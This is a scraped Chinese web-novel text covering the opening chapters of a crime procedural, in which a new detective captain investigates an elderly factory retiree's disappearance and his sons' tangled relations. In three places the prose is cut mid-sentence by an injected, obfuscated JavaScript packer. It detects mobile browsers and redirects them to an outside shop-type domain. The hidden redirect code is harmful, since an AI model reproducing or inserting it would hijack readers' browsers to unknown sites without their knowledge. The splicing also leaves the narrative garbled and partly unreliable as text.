《破案专家》 1. 三人行 内窥式摄像头 2000年9月11日,星期一 几辆汽车先后停靠在纺织一厂家属楼楼下,陈染关上车门,抬头观察着这栋七层浅灰色建筑物。 作为市局刑警支队五大队新任队长,陈染刚办完调职手续,就接管了河东区分局主办的一起失踪案。 失踪者姓黄,是纺织一厂一名退休干部,七十三岁。 老人曾在9月5号晚十点四十给他四妹打了个电话,他在电话里只说了“救命”两个字,电话就挂断了。 这起案件难倒了河东区分局刑警大队一干刑警,整整五天,队内刑警连续开了好几次会议,连老人是生是死都无法确定。 老人住在纺织厂家属楼3栋2单元二楼,下车后,陈染随着河东区的一位刑警队长上到二楼 负责开门的是失踪者的二儿子,叫黄国祥,39岁。他在七年前与其妻离婚,离婚时他把房子给了前妻,女儿也跟母亲生活。 黄国祥6年前下岗,下岗第一年他靠打零工生活,其后在父亲资助下,开了一家大众浴池。 陈染看了眼陪同前来的黄国祥,他眼皮浮肿,眼里有不少红血丝,似乎哭过。 开门时,他往钥匙孔里捅了几下才对准锁孔。陈染站在几位同事身边,默默地打量着这个人。 最近几天河东区的痕检已对室内进行过两次检查,经过确认,最近只有四个人进过这栋房子,除了失踪者本人,还有他的两个儿子,以及一位保姆。 保姆一周来一次,只负责打扫卫生。 陈染在门口戴上脚套,随着其他人走进这个三室一厅的老式楼房。刚进门那一刻,她闻到了浓重的消毒水味。 打开门最先看到的是玄关和一条窄窄的通道,玄关上方墙体上有七个挂钩,上面挂着老人平时出门时常背的皮包还有塑料水杯。 陈染看了眼靠左挂钩上的一串钥匙,问黄国祥:“这是你父亲的钥匙吧?” 黄国祥声音有点沙哑:“对,他出门肯定会带钥匙,这个包还有水杯他也会带。收音机不一定,要是逛街就不带,去公园遛弯会带。” 陈染点了点头,继续往里走。 这栋房子整体色调为暖黄色,无论是客厅,还是老人住的卧室,靠墙处都有近些年流行的组合柜。 陈染在老人卧室里转了一圈,感觉房主人并没有出行的迹象,衣服和常用物品都在,洗漱用品也都摆在平时的位置上。 周围的人都反映,老人最近几个月膝盖疼痛严重,非必要不下楼,就算下楼,走得也很慢。如果他真在白天下楼,左邻右舍或者附近几个店里的人应该能看到他。但警方调查的结果却表明,谁也没看到老人外出不归。 在房子里看了一圈,陈染去了隔壁黄国祥的房间,他离婚后在这住过两年,现在回来得少了,但房间还保留着。 他的房间比他父亲的要小一些,家具也简单,床头柜上除了一些杂物,还有一本台历。 台历翻到了2000年9月,在9月5号这一天,有人用黑色圆珠笔划了个圈。 陈染转头看了眼跟在身后的黄国祥,又从一位办案刑警手里拿过案件资料,翻到涉案人员登记表一栏,查看了一下所有相关人员的生日,没有人在9月5 号这一天过生日。 黄国祥就在客厅,陈染什么都没说,不动声色地又检查了一圈。 “汪队,让黄国祥出去吧,我们先留下来,商量一下。”陈染说完,与河东区的汪队去了客厅。 此时黄国祥已被办案人员带出这栋房子,去了楼下。 “陈队,你也看到了,失踪者老黄没有外出的迹象,我们分析,他很可能是在家中遇害了。现在最大的难点在于找不到尸体。” “我们用鲁米诺试剂查过,没找到大面积血迹。我们分析,老黄如果真的遇害了,可能被人用某种交通工具运走了,但也不能完全排除嫌疑人在室内碎尸的可能。” 陈染点了点头,走到厨房和卫生间,说:“找人把厨房水槽和卫生间马桶拆掉,再调一个管道内窥式摄像头过来,先检查下管道内有没有组织碎片和血迹。”。 “这种摄像头我们公安部门没有,可以联系下市政部门。他们要对排水管道定期检测维护,这些设备肯定有。” “找他们借一下,傅哥,这件事交给你办,没问题吧?”陈染说话时,看了眼身后的高大男青年。 随同她一起过来的,还有市局刑警支队五大队的一名刑警,叫傅晋安,是个二十七八岁的年轻人。 他是公安大学毕业生,已进入市局两年。 “可以,交给我。”傅晋安点了点头,拿出手机去了另一个房间。 陈染半蹲下去,打开手电,察看着卫生间和厨房的角落。 汪队已经检查过很多次了,等陈染站起来,他面上带着几分愁容,说:“我们曾考虑过,老人是不是自己悄悄下楼走丢了?但据周围住户反应,老人自己很难下楼,就算下去了也走不远,不至于到现在都找不到人。” 陈染看过卷宗,也同意汪队的意见。据亲属反应,老人退休后也没闲着,给两个小厂做帐,还会修表,一年下来,他的收入比两个儿子还多。 陈染与汪队商量了一会儿,都认为这很可能是一起侵财引起的杀人案。但要想证明这一点,首先要想办法找到老人尸体。 傅晋安办事能力不错,半个小时后,市政部门便派来一位工作人员,把陈染要的管道内窥式摄像头送到了现场。 来人手脚麻利,看到陈染时特意打量了她好几眼。 做为容城市的传奇女刑警,容城不少人听说过陈染的大名,他也听说过。 他从傅晋安那里听说主办人是陈染,特意把这个差事揽了下来,为的就是亲眼见见那位传奇的女刑警队长。 在这位工作人员配合下,陈染在两个小时后便拿到了不少管道内的照片。 “陈队,我们用放大镜把所有管道内照片都检查了几遍,没有发现任何人体组织碎片,也没有找到血迹。”检查工作结束后,傅晋安负责向陈染报告。 这个结果在陈染预料之中,毕竟她也参与了检查。 回到五队后,陈染把五队所有成员以及河东区的汪队叫过去,准备开会讨论下后续的办案方向。 人都到齐后,陈染先发言:“纺织厂家属楼失踪案的资料大家都看过了吧?通过管道内窥镜摄像头,我们把失踪者家里几个下水道都做了检查,没有发现与碎尸相关的痕迹。” “现在案件进入瓶颈状态,大家都考虑一下,接下来的侦查方向要怎么走?” 陈染有自己的想法,但她想听听这些新同事都怎么说,顺便也了解下这些人的性格和行事作风。 除了陈染之外,五队一共十三人,平均年龄刚过30,在刑警支队各个大队中,年轻人最多。 陈染话音落下,会议室里暂时无人说话。 陈染见状,看了眼刚刚一起出现场的傅晋安。据她了解,傅晋安虽不是专业侧写师,但他对案情分析上表现一直不错。 正打算点傅晋安的名,有位年轻刑警先举了下手,得到同意后,主动说:“我们可以调几辆化粪清洁车到纺织厂家属楼,把黄国祥家所属的化粪池抽一遍,车上要安一层纱网,这样可以把人体组织和相关碎片过滤出来,如果有,那说明失踪者黄良已遇害。” 听到这个方案,会议室里的人不禁面面相觑。 这个方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171726|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案要消耗不少人力物力,经费方面的负担可不小。 这还不算什么,最霸道的是,真用化粪车抽化粪池,那现场简直无法想象,只怕比面对腐尸现场还要惨烈。 现在天气还比较热,真这么办,大家都得遭很大的罪,当天就别想吃饭了,反正吃了也会吐,胃里的酸水都得吐干净。 陈染点头道:“这个方案可以考虑,但如果有其他办法,最好先从别的途径去查。” 她看了眼队里最为年长的一位刑警,据齐副局给她的资料,这位姓姚的刑警比较擅长分析人。 似乎感受到了陈染的目光,老姚站了起来,说:“陈队,到现在为止,我们还不能完全确定失踪者老黄是否死了。如果现在就用上这种手段,万一没有任何发现,公众可能会提出质疑,认为我们小题大作,浪费人力物力,还污染周边环境。” “这个案子线索很少,突破口不容易找。我上午整理了一下失踪者两个儿子的资料,发现了一个新情况。” 陈染来了兴趣,能受到老姚这种老刑警的重视,这个情况肯定重要。 在她示意下,老姚接着说道:“黄国祥开的兴胜浴池在云汇路,我上午给自来水公司打了个电话,调查了一下兴胜浴池近两年的用水情况。” “这个事儿说起来有点意思,兴胜浴池从98年9月开始,用水量就大幅度减少,相应地,水费也比前期少了三分之二。这个情况一直持续到今年八月中旬,也就是二十几天前,之后水费又恢复到98年9月之前的水准。” 陈染听出了一些问题,去这种普通浴池洗浴的顾客一般都是周边居民,没有特殊原因,客流量不会突然大幅度减少。如果水费突降,那就有一种可能,浴池在偷用地下水。 可地下水属于国家资源,农村居民在家中打井自用这没问题。要是用在商业用途,那就是违法了,一旦被发现,肯定要被处理。 她并没有打断老姚的话,只点了点头,示意她在听。 会议室里的人也在听,老姚接着说:“这说明黄国祥有可能偷用了地下水。但我不明白,为什么二十几天前浴池用水量又恢复到以前的量了?这一增一减之间发生了什么?” “其实我也不知道这件事跟我们查的失踪案是否有关系,只是这个情况比较特别,我才单独提了出来,供大家参考。” 听到这里,傅晋安疑惑地道:“这个情况跟我们查的失踪案有什么关系?” 老姚摇头:“暂时不清楚,至少能说明黄国祥在想法设法搞钱,为了搞钱,他能降低底线,无视法律。” 陈染认同老姚的分析:“姚大哥分析得很中肯,一年前黄国祥能为了省掉大笔水费偷用地下水,那现在他就有可能为了钱,干点别的。总之,他的嫌疑比较大,需要重点关注。” 她正要表态,手机响了,低头看了一眼,是一封信息。 她站了起来,跟与会人员说:“河东区云队那边刚收到一封匿名举报信,有人举报黄国祥的哥哥,说他去年过年期间曾参与赌博,输了两万。” 河东区的汪队惊讶地说:“黄国祥哥哥是轻工局科长,这件事要是坐实了,他那个工作恐怕就干不下去了。” 陈染却道:“傅哥,你带人把那封信取过来,找笔迹专家做下笔迹鉴定,如果能查出来那封信是谁写的,或许对我们目前的案件有帮助。” 她现在还不清楚黄家老大赌博的事是真是假,但在这个节骨眼上,黄国祥哥哥被人举报赌博,是否是有心人有意为之,很难讲,说不定跟失踪案有关。 任何与案件有关的线索她都不会放过,所以,她肯定要拿到那封匿名信。 傅晋安答应一声,赶紧站起来:“我马上就去。” 2. 三人行 二十分钟后,河东区派人把匿名举报信送到了市局,陈染戴好手套,从信封里拿出一张信纸。 信上的内容很少,但写明了黄家老大黄国吉参与赌博的地点和涉案金额,那是一家小卖部,也在河东区,离黄国祥的兴胜浴池有五公里左右。 “不会是左手写的吧?”汪队看了一眼,感觉一般成年人写不出成这种鬼画符一样的字。 老姚对字迹略有研究,过来瞧了几眼,“左手写的可能性比较大,是为了隐藏身份吧?” “陈队,把信送到刑科大队吧,让他们安排人手作笔迹鉴定。” 陈染没有反对,让老姚安排人把信连同信封送到刑科大队。 在做笔迹鉴定的同时,顺便也要取一下指纹,看看写信的人是否在信纸或信封上留下指纹或掌纹。 把信交给下属时,陈染闻到了某种淡淡的味道。 她把信和信封放到鼻子下嗅了嗅,确认刚才的感觉不是错觉。 “你们闻闻,这信上是不是有香味?” 老姚摆了摆手:“我这几天感冒了,鼻子不太灵,问问那几个小年轻,看看谁的鼻子好使。” 此时陈染还在会议室里,傅晋安跑回办公室,很快喊过来三个年轻刑警,都是五队的人。 傅晋安对于味道不够敏感,先闻了闻,好像闻到了,又好像没有。 另外三个人接连过去,如法炮制地闻了一遍,最终只有一位叫吴为的刑警闻到了明显的香味。 他拿着信纸来回嗅了几遍,感觉那股味道有些熟悉,好像在哪儿闻过。 “你到底闻出来什么了?”吴为嗅觉灵敏,队友曾开玩笑说他是狗鼻子。看到吴为拿着信纸和信封反复闻,傅晋安很想知道那到底是什么味儿? 吴为抓了抓头发,说:“闻着还挺明显,感觉像某种香水味,但是不清楚是哪个牌子的。” 陈染宽慰道:“没事,先用塑料证物袋把信套上吧,尽力留住香味。” “请刑科大队的人检查对比下,看看能否查出香水种类甚至品牌。” 把信送走后,陈染看了看表,告诉老姚和傅晋安:“我得去见见齐局,半个小时左右会回来。” “回来后我要带傅晋安和汪队去见一个人,照片上有的。”陈染从卷宗里拿出一张老照片,照片是从黄国祥卧室找出来的。 上面有四个人,三男一女,中间的女人是黄国吉妻子。 除了黄国吉与黄国祥两兄弟,还有一个年龄相仿的青年,姓刘,陈染这次就是要去找这个人。 他和黄国祥原来在一个工厂上班,两人同时下岗,黄国祥后来开起了浴池,他在景区附近商业街上摆了个射击摊子。 “姚大哥,你继续调查黄国祥的情况,主要查两点,第一点,老黄失踪前后,他的行踪以及使用车辆情况,如果有目击人,一定要找到。” “第二点,调查他最近两年的财物状况。这件事你带五个人办,自己去挑人。” “下午把黄家兄弟和黄国吉妻子请到市局,让他们三个碰头,我想见见人。” 据汪队说,黄家兄弟都有作案嫌疑。 老大黄国吉家里有不少破案方面的专业书籍,这次还有人举报他涉赌。 老二黄国祥虽然离了,花销却很大。 案子前期调查工作是由河东区汪队负责的,陈染还没见过几个主要当事人,她想先见一面,观察下。 到齐副局办公室时,他刚送走一位来客。看到陈染出现在门口,齐副局连忙招手让她进来。 “来了两天,还适应吗?”齐副局给她倒了杯茶。 “还行,在查河东区那起案件,队里的人还算配合。” 齐副局笑了笑,告诉她:“你们五队的老姚以前在二队,把他调到你那里,是想让他给你做副手。” “老姚办事老道,很擅长观察人。你的能力我是知道的,但有些事还得向老刑警学。” “另外,队里那些人,各个都有点本事,性格方面都不一样。难免有些眼界高心气高的,嘴上可能不说什么,心里怎么想的就不好说了。” “要想让他们都服管,打心里愿意听你安排,形成一个有凝聚力的团体,得有个过程,不过我对你是放心的。” “另外,市局跟分局那边不太一样,送到你那儿的就没有好办的案子,要坐稳这个位置,你肯定得下点功夫。” 陈染笑了下,说:“确实有几个不太服气的,能看出来。也有人在观望,估计想看看我这个新领导是什么作派。” 齐副局用手指虚点了点,笑道:“那些人观察你,你何尝不是在观察他们?” “对了,你跟各个区分局的人都熟,在咱们省内不少市区的公安机关也都有熟人。以后遇到一些跨区域的案件,或者需要多部门联动的,你们支队长可能会考虑交到你手上。” “可以,这件事支队长在电话中也跟我说过。” 陈染在上一届全省指纹鉴定大赛中获得断层第一,为此曾被省内许多公安部门请去处理疑难指纹,在她协助下,破了不少大案。所以齐副局所言非虚,她确实认识不少人。 齐副局还有个会,送陈染离开前他又叮嘱道:“你的压力不会小,不过挑战与机遇并存,你心里得有数。” 陈染点头,表示明白。 她知道全市以至于省内有很多积案没能侦破,有些案子她是可以破的,但她受以前的职务限制,她接触不到。 现在有这样的平台和机会,即使压力变大她也乐于接受。 下午三点左右,陈染将黑色越野车停在祥云步行街附近,沿街有一长排摊子。 陈染关上车门,在汪队带领下,很快找到了东南角的一个射击摊子。 摊主穿着一个灰色短裤,腰上挂着装钱的腰包,因为爱出汗,脖子上还挂着条毛巾。 “美女,来几发不,一块钱一次,打中了送你娃娃。”看到陈染走过来,摊主伸出胖手,指了指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171727|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌案上带有手柄的枪。 傅晋安没练过枪,准头不行。汪队倒是没问题,但他不确定陈染过来想要问什么,就没有出面。 陈染收好手机,说:“试试吧,先来十块钱的。” 摊主手脚麻利地接过陈染递过去的一百块,找了九十,又把枪交到她手上:“我教你怎么打……” 陈染却道:“不用,我会。” 摊主讪讪地让到一边,心想漂亮女孩就是傲气,怕是连一枪都打不中吧? 此时陈染已将枪托端起,举起汽枪向几米开外的气球瞄准。 枪声响起,第一枪略偏了一点,碰到了一个气球的边,但是没打破。 摊主暗暗呲笑一声,心想这枪要是那么容易能打中,他这买卖还能干吗? 刚起了这个念头,第二声枪响便传到他耳朵里,紧接着,气球的爆裂声传了过来。 竟然打中了? 摊主惊讶地看了看爆开的气球,又看了下持枪的陈染,感觉她这次应该是走运。 他没想到,陈染接下来连续开枪,每一枪都命中汽球,十个子弹打完时,一排九个连在一起的气球已全被打碎。 别说摊主傻眼,就连陪着陈染过来调查的汪队和傅晋安都惊讶不已。 傅晋安不懂,汪队懂的却不少,这种摊子用的枪跟特警队的枪没法比,准头不行。陈染第一枪应该是在测试,打偏很正常,从第二枪开始,她就调整好了。 这种调整能力和准头,虽不敢说她是神枪手,枪法也不会差。 傅晋安回过神来,看向那堆毛绒娃娃,来了兴致,问陈染:“你喜欢哪个,我帮你拿。” 摊主立刻垮了脸,他张开胖手,拦在傅晋安面前,一脸求饶式地看向陈染:“不是,不是,哎呀,我说这位美女,你到底是干什么的啊?枪法这么准?” “早知道您这么厉害,我哪儿敢招待您?我这就是小本生意,家里上有八十岁老妈,下有七岁小孩,可不敢这么玩……” 他看出来了,陈染不是一般人,这种枪法,明显是练过的。 这样的人,来他这个摊子玩,到底图个什么?总不会真的就是为了赢娃娃吧? 陈染打断他滔滔不绝的说辞,心知这人是在满嘴跑火车。 他确实有个妈,但他妈改嫁了,基本不需要他出生活费。至于孩子,他就是个光棍,哪儿来的孩子? 眼下还是上班时间,商业街上行人稀少。 见周围没什么人,陈染便放下手上的枪,说:“只要你愿意配合,回答我几个问题,娃娃我一个都不要。” “配合,一定配合,我知道的一定告诉你。”摊主答应得痛快,心里却自有主意,想让他配合,得看这个人问的到底是什么问题。 傅晋安在旁边看着,感觉这个摊主不是老实人。 他也猜出来陈染想从摊主口中知道黄家兄弟的关系,但他没想到,陈染先问起了黄国吉的妻子:“焦俊芳你认识吧?” 3. 三人行 亲子鉴定疑团 陈染来之前,查过摊主刘大年的资料,这人从小就是个混不吝,二十五岁时因售卖||淫|秽光碟进了看守所,出来后又被人打骨折,从那之后才老实起来。 这种经历注定他不是个循规蹈矩的人,不过他和黄家兄弟一起长大,肯定了解黄家人的事。 “焦俊芳?黄老大媳妇?你问她干什么?”刘大年从裤兜里掏出一根烟,听到焦俊芳的名字时有些不屑。 “你不用管这些,只需要回答问题。”陈染并不准备跟他说太多。 刘大年悄悄打量着她,隐隐猜出她的身份,这位怕不是个警察吧? 难怪枪打得那么准! 他不清楚警察为什么会向他打听焦俊芳,但他跟焦俊芳不对付,不介意给焦俊芳上点眼药。 他算不得什么好人,但从未欺负过黄国祥兄弟俩,也没占过他们便宜。 大家相处得本来挺好,可焦俊芳觉得他不是个正经人。从她进了黄家门,就不让黄家人跟他来往,一来二去,双方关系就淡了,他对一个嫌弃他的人能有什么好感? “行行,我不问。” “焦俊芳我还真认识,她怎么跟黄国祥处上对象,俩人又怎么黄的,后来媒人又把她介绍给黄国祥他哥的我都知道。” 傅晋安听到这里,一时间以为自己听错了。 汪队伸手示意刘大年暂停一下:“你再说一遍,焦俊芳到底跟谁处对象?” 对于这个消息陈染也挺惊讶,办案这么久,她接触过不少令人三观炸裂的事,黄家兄弟这个事不算最炸裂的,但也足够吸人眼球。 刘大年有些得意:“这你们就不知道了吧?这事儿亏得你们问我,问别人还真问不着。” “你别吹了,赶紧往下说。”汪队催促道。 刘大年这才把黄家兄弟跟焦俊芳之间的纠葛说了一遍。 简单地说,焦俊芳跟黄国祥在高中时期谈过恋爱。 焦家人接受不了学渣做女婿,两人就分了。高中毕业后一个上大学,一个进厂,暂时没了联系。 离谱的是,焦俊芳大学毕业后经人介绍认识了黄国祥大哥黄国吉。 见面之前焦俊芳不知男方身份,知道后她想拒绝,但黄国吉在轻工局上班,工作体面,在家里人干涉下,焦俊芳嫁给了黄国吉。 对于这几个人的反应,刘大年心满意足,这次谈话,既让他过了把聊八卦的瘾,又在这些人面前给焦俊芳上了眼药,多少让他出了口气。 陈染又问了几个问题,他竟都愿意配合,倒让陈染和汪队有些意外。 得到了想要的信息,陈染准备带人离开,临走时,刘大年又道:“送你们一个额外消息,黄国吉去年曾怀疑他女儿不是亲生的,花钱找人做过亲子鉴定,但亲子鉴定结果是亲生。” “这件事是他偷着办的,焦俊芳不知道。” 傅晋安在喝水,闻言差点把喝下去的水喷出来。 这么离谱的吗? 上车之后,汪队一脸纳闷地看着驾驶座上的陈染,问她:“陈队,你为什么会把刘大年列为第一个询问人选?” 前方红灯亮起,陈染停下车,告诉汪队:“焦俊芳跟刘大年关系不好,算是对手。最了解一个人的除了亲戚朋友,对手也要算上。如果焦俊芳身上有什么事,刘大年大概率不会帮她隐瞒。” “当然,这只是我的想法,如果在他这查不到什么,我会去问别人。” 汪队感叹道:“这个人选可以的,今天收获挺大。” 陈染摆了摆手:“今天听到这么多消息,说实话,我也挺意外。” “回去后大家先碰一下,如果刘大年所说属实,这个案件的性质除了侵财,或许还可以加上情感纠纷。” 陈染还有一个猜想没说,从焦俊芳和小叔子这些年的关系出发,这两个人是有可能合谋的。 “傅哥,这个案子你怎么想的?”旁边的傅晋安没怎么说话,陈染便点了他的名。 傅晋安对案子的确有些想法:“陈队,黄良失踪前,曾用家中座机给他四妹打过电话,他只说了‘救命’两个字,电话就挂断了。” “他四妹有耳鸣,经常幻听,刚开始以为自己听错了。当时家中无人,第二天才把这事告诉她儿子。不过两家因借钱的事有纠纷,关系不太好,她儿子不愿意管舅家的事,所以他们没有及时帮忙。直到黄良失踪,这事儿才爆出来。” “黄良家座机的通话记录汪队查过,黄良失踪前确实打过这通电话。” “我现在有个疑惑,黄良如果真的想求救,不是应该给关系好的人打电话吗?” “为什么他两个儿子都没有收到他的求救电话?这是不是从侧面印证了他们的嫌疑?” “有道理。”陈染和汪队都认可他的分析。 从现在的情况来看,黄良只怕已凶多吉少。他曾试图向人求救,只不过这场求救失败了。 二十分钟后,陈染带着傅晋安和汪队回到了刑警支队。 这时老姚也带着两个人赶回了五队,还有三个人在外调查。 看到陈染回到办公室,老姚过来跟她碰头:“陈队,你让我查的事查出来一部分,黄国祥一年前曾给一个陌生人汇款五万,时间是98年7月25日。收款人用了化名,到底是谁还在查。” “这个时间距他刚开始偷用地下水很近。或许,他冒险盗用地下水的原因是因为资金紧张。” 五万,在普通人月工资为四五百的情况下,这不能算一笔小钱。 听到这里,陈染提出一个问题:“汪队曾带人找过黄国祥前妻,据其前妻反映,黄国祥已经有三年没有给孩子抚养费了。他前妻应该是不想跟他有牵扯,并没有追着他要钱。” “还有一个情况,他跟一个卖衣服的女人有联系,俩人经常见面,有肉| ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171728|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' |体关系,但无夫妻名分。钱是否花在这个女人身上,暂时还不知道。” 陈染点了点头:“黄国祥有大笔支出,黄国吉被举报赌博,输掉两万。如果情况都为真,兄弟二人都会有侵财作案的动机,因为他们父亲有钱。” “但我们也不能忽略了黄国吉妻子焦俊芳,基于黄家兄弟与她的三角恋关系,我们有必要重新审视这个案子,充分考虑到情感纠纷的因素。” 老姚对此表示赞同,他看了下表,很快就到下午五点了。 “一会儿黄国祥兄弟俩和焦俊芳会到,在他们到之前,我找人查了下黄国吉做的亲子鉴定记录,陈队你要不要看一下?”鉴定结果是由相关机构传真过来的。 “拿来我看看。”陈染接过报告时,另外三个被派出去的刑警也回到了五队。 办公室门开着,看到老姚和傅晋安都在这儿,几个人便走了进来,各找了椅子坐下。 陈染看得很快,四五分钟后,她放下手中报告,说:“姚哥,这个报告不一定准确。” 老姚就坐在她斜对面的椅子上,突然听她这么说,他很惊讶:“不会吧?报告是咱们市里最权威的龙华基因检测中心出的。” 陈染解释道:“不是这个意思,我并没有说鉴定中心出具的报告是假的。” “报告没问题,问题在于这只是一份基于常染色体所做的基因检测。” “黄国祥和黄国吉是亲兄弟,属于近亲属。只做这种检测,有可能弄错真正的父亲。” “也就是说,如果给黄国祥和他小侄女做常染色体基因检测,报告给出的结果可能也有亲子关系。” “居然会这样?”老姚一脸惊讶。 办公室里其他人也不知道这种事,因为现在基因检测比较贵,只有大案重案才用。他们都不是法医,对此所知有限。 老姚惊讶地说:“要这么说,是不是还得那个小孩和黄国祥做下鉴定?” 陈染道:“等一会儿见到黄国祥兄弟和焦俊芳,先观察他们的表现。如果有猫腻,我建议还是尽快做一下。” “如果黄国祥与侄女二人排除亲子关系,后续检测就不必再做。要是真有亲子关系,那就得换一种检测手段,用X-str来做一下。” “做完这个,就能筛出来谁是那孩子的亲生父亲。” 很多人听不懂陈染说的X-str是什么,但他们可以想象得到,如果焦俊芳的孩子是小叔黄国祥的,那这件事说不定跟黄良的失踪案有间接关系。 几个年轻刑警面面相觑,除了对案件后续的好奇,眼中还有对这个八卦结果的期待。 傅晋安悄悄拿出手机,准备联系他认识的一位法医,主要目的就是想打听打听陈染所说的那些技术。 他的信息刚出去,还没收到回复,一位刑警便走到门口,向陈染报告:“陈队,轻工局的黄国吉和他妻子焦俊芳到了,人在询问室。” 4. 三人行 拆散一对是一对 “黄国祥还没到,陈队,你现在过去吗?”老姚资历较深,在队里是隐形领头人。不过他没有自作主张,先问了下陈染的意思。 “先让他们在那儿等着,派个机灵的去询问室守着他们,尽量表现得轻松自然些,不必跟他们说话。我们先去隔壁监控室看看。”陈染说罢,让老姚在前带路。 她刚来上班,对刑警支队内部的房间布局还不是很清楚。 老姚明白她的意思,她应该是想观察下黄国吉夫妻俩的相处状态。 他二话不说,带着陈染和傅晋安等人往监控室走。 到达监控室时,黄家老大黄国吉和他妻子焦俊芳已在询问室内坐好。工作人员在询问室中间准备了六把椅子,椅子放置的位置并不规律,看上去好像是随便放的。 焦俊芳坐在中间偏右的一把椅子上,黄国吉与她之间隔着一个椅子,两个人都选了后排,距离不算远也不算近。 焦俊芳穿着蓝色小西服,内搭白衬衫,头发梳成髻,唇上涂着唇膏,看装扮,应该是从单位直接过来的。 黄国吉年纪约四十左右,在这个年龄层中,身材算是匀称的,也没有谢顶。 只是他精神不是很足,坐在那里,眼神仿佛放空一般。既没看对面的警察,也没看焦俊芳。 焦俊芳面无表情,白晳的脸上看不出喜怒。陈染盯着她看了七八分钟,才捕捉到她对黄国吉快速翻了个白眼的动作。 老姚也注意到了这一点,看到这儿,他跟陈染说:“从焦俊芳的肢体语言来说,她对丈夫黄国吉有厌烦感。至于黄国吉,暂时看不出他对焦俊芳是什么感觉,但夫妻二人之间不算亲近,这是肯定的。” 陈染也注意到了,焦俊芳坐在那里,曾一度翘起二郎腿,翘腿时,她有意无意地将后背留给黄国吉。这个细微的动作再次印证了老姚的直觉。 黄国祥过来前,有位刑警进来汇报:“陈队,刚查到,黄国祥在外也有房子。 陈染当即说道:“查下这栋房子座机号,看看黄良失踪前是否往那儿打过电话。傅哥,这事就交给你去查吧,没问题吧?” 傅晋安读书时就是卷王,工作后也很能卷。他不怕事多,就怕没事儿做。这个疑点他刚才提过,自然乐意亲自去验证下。 “可以,我认识相关工作人员,我先去旁边打个电话,让他们帮忙查一下,拉几个通话清单,再让他们把结果给我传过来。” “顺便把这几个人的手机通话记录也拉出来,主要看焦俊芳和她小叔黄国祥私下他们有没有联系。” 陈染没反对,不过她说:“电话卡不实名,如果他们有别的电话号,还没有对外公开,我们可能查不出来的。” “你先查着吧,查到多少是多少。” 得到陈染首肯,傅晋安走到房间角落里打电话去了。 老姚和汪队陪着陈染坐在监控室里,对焦俊芳和黄国吉之间的相处模式观察得差不多了,老姚提议道:“陈队,询问前要不要先讨论下询问的重点内容。” 陈染客气地道:“姚大哥,我比较年轻,工作时间也长。其他方面还好,就是审讯方面的经验还有不足。所以这次询问以你为主,你可以自由发挥。” 说到这里,黄国祥也到了,老姚就道:“那行,一会儿我来审,有问题你可以随时介入。” 两个说话时,坐在询问室里的年轻小伙把手上报纸翻了个页,还打了个哈欠,看上去好像值了夜班在犯困。 陈染记得那个小伙叫吴为,鼻子很灵。那封举报信上的香味除了她,就只有吴为能闻出来。 没想到吴为还有点表演天分,把加班的疲惫感演得入木三分。 焦俊芳不知道监控室里有人在盯着这边,她只当那年轻刑警太累了,在等人。 这样一来,她所呈现出来的微表情和动作离真实就更近一点。 黄国祥人比他哥嫂来得晚二十分钟,他穿着夹克配西裤,身材和长相与他大哥都有几分相像。 但他身上衣服的质感要比黄国吉的要好,看起来都不是便宜货。 进来时,他与焦俊芳对视一眼,看不出紧张感,却没怎么看他大哥。 进入询问室,他看了看剩下的四把空椅子,最终选了靠左的一把,同样在后排,离焦俊芳也有些距离。 三个人稀稀落落地坐着,彼此之间无互动。 老姚手上拿着一个档案袋当先走进询问室,进来时,人还未坐下,就客气地跟黄家兄弟和焦俊芳说: “黄良老同志失踪数天,这次请几位过来,是想详细了解下老爷子失踪前后的情形,看看能不能找到一些线索。” 黄国吉表情没什么变化,人看上去有些麻木。 黄国祥在说话之前,不经意地看了眼焦俊芳,才道:“我爸可能是黑天自己下楼走失了,我找朋友帮忙印了几千份寻人启事,还没贴完。” “等一会儿回去了我还得去贴广告。” 他话音刚落,黄国吉竟说道:“能不能找回来,你不知道吗?” “不是,大哥,你这话什么意思?我那天没在家,我知道什么?” 黄国吉抿了抿唇,没有吱声。 焦俊芳咳了一声,说:“你俩都别说了,让警察同志说话。问什么答什么,别说那些没用的。” 老姚压了压手,示意他们别吵:“别吵了,找不到老爷子大家都上火,先冷静一下。” “这个地方离黄老板的浴池挺远的,天还热,黄老板身上不见汗,你是开车来的?现在带空调的车可不便宜啊?” “没,带空调的车我可买不起,我借朋友车过来的。我这人打小就不爱出汗,是天生的体质。”黄国祥赶紧否认,但他对自己的体质似乎比较自豪,说到体质时多少有几分得意。 “这体质不错,我就不行,天热了冒汗,动一动也冒汗。”老姚和气地道。 